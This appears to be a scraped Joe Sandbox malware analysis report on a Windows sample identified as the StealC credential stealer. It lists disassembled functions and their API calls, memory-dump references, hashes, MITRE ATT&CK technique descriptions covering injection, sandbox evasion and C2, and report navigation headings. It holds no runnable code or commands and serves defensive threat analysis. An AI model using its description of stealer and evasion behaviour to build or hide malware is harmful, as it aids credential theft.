RtlAllocateHeap.NTDLL(00000000), ref: 004179B7
GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
wsprintfA.USER32 ref: 004179F3

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction ID: 87643aaeb61937c0b28f46190d625ee9f9fa63f6271d25fb840393839df263de
Opcode Fuzzy Hash: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction Fuzzy Hash: 6D1139B2944118ABCB14DFC9DD45BBEB7F9FB4DB11F10421AF605A2280E3395940CBB5

Function 0041C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C74E

Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__getptd.LIBCMT ref: 0041C765
__amsg_exit.LIBCMT ref: 0041C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C797

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 0dee89ca1e27279cee20c61cf39372be64ae68290e804cf05a8e7f65ce69890f
Instruction ID: f221cbc75ab16e387751c9b116ef15a62a105912f32ca5c84f33c5bc9026f8a6
Opcode Fuzzy Hash: 0dee89ca1e27279cee20c61cf39372be64ae68290e804cf05a8e7f65ce69890f
Instruction Fuzzy Hash: 72F09632A817119BD7207BB95C467DE33A09F00728F24414FF414A62D2CBAC59D29E9E

Function 00414F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcat.KERNEL32(?,00000000), ref: 00414F7A
lstrcat.KERNEL32(?,00421070), ref: 00414F97
lstrcat.KERNEL32(?,01288BA0), ref: 00414FAB
lstrcat.KERNEL32(?,00421074), ref: 00414FBD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Memory Dump Source

Source File: 00000000.00000002.2130713329.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2130491210.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2130713329.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000007E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.00000000008F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132018238.0000000000907000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132637821.0000000000908000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133009545.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133499270.0000000000AAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: fea607eff97497eb4fd5309f6b34a87d5e7f8ff3753410a5b2e417b1bb1efa56
Instruction ID: b2f553c39a7574946245b6cc91baeb706efbd34a5fe7bafabb54328a91102e52
Opcode Fuzzy Hash: fea607eff97497eb4fd5309f6b34a87d5e7f8ff3753410a5b2e417b1bb1efa56
Instruction Fuzzy Hash: FA213DBAA402047BC714FBF0EC46FED333DAB55300F40455DB649920C1EE7896C88B96

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00419860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 004045C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00404880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00419C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00406280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00415510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 004117A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00417500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 004169F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00416AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 004047B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 004151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON